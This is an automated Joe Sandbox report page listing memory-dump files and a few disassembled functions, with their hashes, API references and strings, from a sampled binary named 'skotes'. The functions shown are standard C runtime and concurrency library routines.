Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 99a24401ed846e0dc56f65af627e140f00123e8e3ea08f628b35e3be7e9f80f1
Instruction ID: 04842aba444446c23421b6b49beb11864c7cfe22b2bd3028a5501899a7f43277
Opcode Fuzzy Hash: 99a24401ed846e0dc56f65af627e140f00123e8e3ea08f628b35e3be7e9f80f1
Instruction Fuzzy Hash: F021C772A04605AFCF18DF68DD46EFA77E8FB44720B1041E9F91597282EBB1ED0086A1

Function 00BB727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00BB72BE

Strings

.exe, xrefs: 00BB72CB
.cmd, xrefs: 00BB72DC
.com, xrefs: 00BB72FE
.bat, xrefs: 00BB72ED

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 32d1ae13d8e30e28e7a55df59b0979b0bea8a93b9e006ba0e7d986433cea7c2e
Instruction ID: ec2103d65db1676e13c1001baedc8fb0aa10519d0435e10599cfe266333fe671
Opcode Fuzzy Hash: 32d1ae13d8e30e28e7a55df59b0979b0bea8a93b9e006ba0e7d986433cea7c2e
Instruction Fuzzy Hash: 440166277486222B661450189D02FF667C8CBD2BB4B2500ABFC14F76C1EFC4DC4361A4

Function 00B9FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B9FB06

Strings

GetThreadGroupAffinity, xrefs: 00B9FA93
SetThreadGroupAffinity, xrefs: 00B9FA87
kernel32.dll, xrefs: 00B9FA7A
GetCurrentProcessorNumberEx, xrefs: 00B9FABE

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 3bf797c1bf1c8393e392bad059ab687063ff40237beddcdd4bf593d8c48ccbb0
Instruction ID: fd4dddfbdcbfdeae8d7a7c0a95e40f36b85543195ee2744d23c7b236d314374e
Opcode Fuzzy Hash: 3bf797c1bf1c8393e392bad059ab687063ff40237beddcdd4bf593d8c48ccbb0
Instruction Fuzzy Hash: 1701F5625553063EA62076BA5C82ABB65EDDD02B2CB3019BBF450F7262FDA5E80052A4

Function 00BB2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00BB20B7

Part of subcall function 00BACAF3: Mailbox.LIBCMT ref: 00BACB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB20C8
StructuredWorkStealingQueue.LIBCMT ref: 00BB20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB210F

Strings

e, xrefs: 00BB20D9

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 68a2fb2df773055d24f455e87365d2eaf0ed1b76576becf15e1a9e5e0e7d3afa
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 46118F31500105ABDB15EF6DC8816FB77E5EF02364B5481EABC06AF202DAF1D901CBA0

Function 00B9D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00B9D0A5

Strings

SleepConditionVariableCS, xrefs: 00B9D05D
kernel32.dll, xrefs: 00B9D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B9D03B
WakeAllConditionVariable, xrefs: 00B9D069

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 542a948faef9e0ccee617ecd8a313595de1fcbda5b3641cc8f1ea6718b0ad44c
Instruction ID: 167cbd73d0ecd4a6b2dc863c028af96f49d6ec6b43a23f855c78eb7bf9360b85
Opcode Fuzzy Hash: 542a948faef9e0ccee617ecd8a313595de1fcbda5b3641cc8f1ea6718b0ad44c
Instruction Fuzzy Hash: 8901D621782B116AFE303BB76C11E5B51CACF42F4CF0515A6EE00F72A1EEA4DC12A561

Function 00BC4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BC4C98
__alloca_probe_16.LIBCMT ref: 00BC4D5E
__freea.LIBCMT ref: 00BC4DCA

Part of subcall function 00BBB04B: RtlAllocateHeap.NTDLL(00000000,27FDA369,?,?,00B9D3FC,27FDA369,?,00B97A8B,?,?,?,?,?,?,00B87465,?), ref: 00BBB07E

__freea.LIBCMT ref: 00BC4DD3
__freea.LIBCMT ref: 00BC4DF6

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
